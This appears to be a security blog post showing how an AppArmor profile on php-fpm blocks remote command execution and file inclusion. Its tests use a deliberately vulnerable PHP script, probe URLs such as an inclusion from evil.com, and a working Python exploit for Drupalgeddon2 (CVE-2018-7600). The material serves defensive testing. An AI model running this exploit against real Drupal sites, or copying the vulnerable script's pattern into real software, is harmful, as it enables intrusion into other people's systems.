How to kill RCE and RFI directly on the php-fpm process. Let's do a test exploiting Drupalgeddon2.

I discovered AppArmor just a few days ago (I know, my fault) and I'm totally in love with it. It works, it's easy to use and it could kill vulnerabilities such as Remote Command Execution (RCE) and Remote File Inclusion (RFI).

In this article, I'll make a couple of tests using an AppArmor profile in order to solve vulnerabilities of a custom PHP script (intentionally vulnerable) and the infamous Drupalgeddon2, without using Web Application Firewall but just by a "policy enforcement" on the php-fpm process.

AppArmor proactively protects the operating system and applications from external or internal threats, even zero-day attacks, by enforcing good behavior and preventing even unknown applicationflaws from being exploited.

AppArmor is a Mandatory Access Control (MAC) security system. Its aim is to provide an easy-to-use security system targeted at securing individual applications by defining and restricting what resources and application has access to and can share.

We'll see how, with just one profile, is possible to make ineffective attacks like the following from the OWASP Top 10 (The Ten Most Critical Web Application Security Risks - https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf

A1:2017-Injection: Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Let's start from the beginning...

Profiles

AppArmor can assign a profile to a "program" (a binary/process/whatever and, in this case, I'll try to restrict what php-fpm can do on the system). Inside a profile, you can define what the selected program can do; for example, if it can read or write a file or access a directory, if it can connect to something or execute something, etc...

The base unit of AppArmor confinement is a profile, which is a text file describing the privileges, and accesses that an application or service has, in the form of a white list. The profile text file is compiled by the policy compiler (the apparmor_parser) and loaded into the kernel where the AppArmor security module, a Linux Security Module, enforces all kernel based privileges.

A good start could be using the aa-genprof that analyzes the active program and generate a profile based on its activities. I've created the following profile for my php-fpm (saved in /etc/apparmor.d/usr.sbin.php-fpm7.0 - yes, the filename is the program's path replacing / with .):

#include <tunables/global>

/usr/sbin/php-fpm7.0 {
  #include <abstractions/apache2-common>
  #include <abstractions/base>
  #include <abstractions/php5>

  capability,
  network unix,
  audit deny network inet,

  unix (receive),
  unix peer=(label=@{profile_name}),

  /etc/group r,
  /etc/nsswitch.conf r,
  /etc/passwd r,
  /etc/php/** r,
  /proc/filesystems r,
  /run/php/php7.0-fpm.pid rw,
  /run/php/php7.0-fpm.sock rw,
  /run/systemd/notify w,
  /tmp/ rw,
  /usr/sbin/php-fpm7.0 mrPix,
  /var/log/php7.0-fpm.log w,

  /var/www/html/** r,
}

I know that my php-fpm uses a unix socket in order to receive requests from nginx (network unix). For this reason I can prevent it to use the inet family (audit deny network inet). Then, obviously, a list of paths where php-fpm can write to (w) or read from (r).

Here there're two main improvements: first, my PHP script will not connect to anything (no ?link=http://evil.com/evil.txt) and second my PHP script can't write on its webroot (no shell upload and no backdoor on other scripts)... a good start is half the job! :)

Now, after enforcing my brand new profile with aa-enforce and a systemctl reload apparmor.service, it's time to test! I need a vulnerable PHP script.

First Test

I've created the following dumb script:

<?php
  if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
  }

  if(isset($_GET['inc'])) {
    include($_GET['inc']);
  }
?>

Obviously, it's vulnerable to RCE (/test.php?cmd=id) and LFI/RFI (/test.php?inc=/home/themiddle/test.cpp)... or not?

secj_apparmor_2-1

Isn't it fucking awesome?! The best part of this approach is that you can't bypass it by using techniques like escaping, encoding, concatenation, etc... AppArmor blocks php-fpm itself to execute anything on system.

Trying to exploit the RCE, AppArmor produces the following event:
kernel: audit_printk_skb: 15 callbacks suppressed kernel: audit: apparmor="DENIED" operation="exec" profile="/usr/sbin/php-fpm7.0" name="/bin/dash" pid=15189 comm="php-fpm7.0" requested_mask="x" denied_mask="x" fsuid=33 ouid=0

And this for LFI (/test.php?inc=/home/themiddle/test.cpp):
kernel: audit: apparmor="DENIED" operation="open" profile="/usr/sbin/php-fpm7.0" name="/home/themiddle/test.cpp" pid=15181 comm="php-fpm7.0" requested_mask="r" denied_mask="r" fsuid=33 ouid=0

Check list:

  • KO /test.php?cmd=id
  • KO /test.php?cmd=nonexistent
  • OK /test.php?inc=/etc/passwd (php-fpm needs to read it)
  • KO /test.php?inc=/etc/issue
  • KO /test.php?inc=http://evil.com

Second Test: Drupal

All know what drupalgeddon2 is (if not, take a look at SA-CORE-2018-002 / CVE-2018-7600). I've installed Drupal 7.50, and added/allowed network inet on AppArmor php-fpm profile (because drupal needs to connect to MySQL). With the following exploit, I'll try to execute commands on the target system:

import requests, re
from sys import argv

def exploit(t, c):
        get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':c, 'name[#type]':'markup'}
        post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
        r = requests.post(t, data=post_params, params=get_params)

        m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
        if m:
            found = m.group(1)
            get_params = {'q':'file/ajax/name/#value/' + found}
            post_params = {'form_build_id':found}
            print("form_build_id: "+found+"");
            r = requests.post(t, data=post_params, params=get_params)
            print("RCE Output: \n")
            print("\n".join(r.text.split("\n")[:-1]))


print("\nCommand sent: "+argv[2]+"")
exploit(t=argv[1],c=argv[2])
print("\n--")

Let's see how it goes without AppArmor enforcement:

secj_apparmor_1

The RCE works fine and the blue team is crying. Now let's see what happen if I enable the php-fpm profile:

secj_apparmor_3

Problem solved ;)

About the project

AppArmor is an established technology first seen in Immunix and later integrated into Ubuntu, Novell/SUSE, and Mandriva. Core AppArmor functionality is in the mainline Linux kernel from 2.6.36 onwards; work is ongoing by AppArmor, Ubuntu and other developers to merge additional AppArmor functionality into the mainline kernel.

Credit: Cover Art by Kris Cook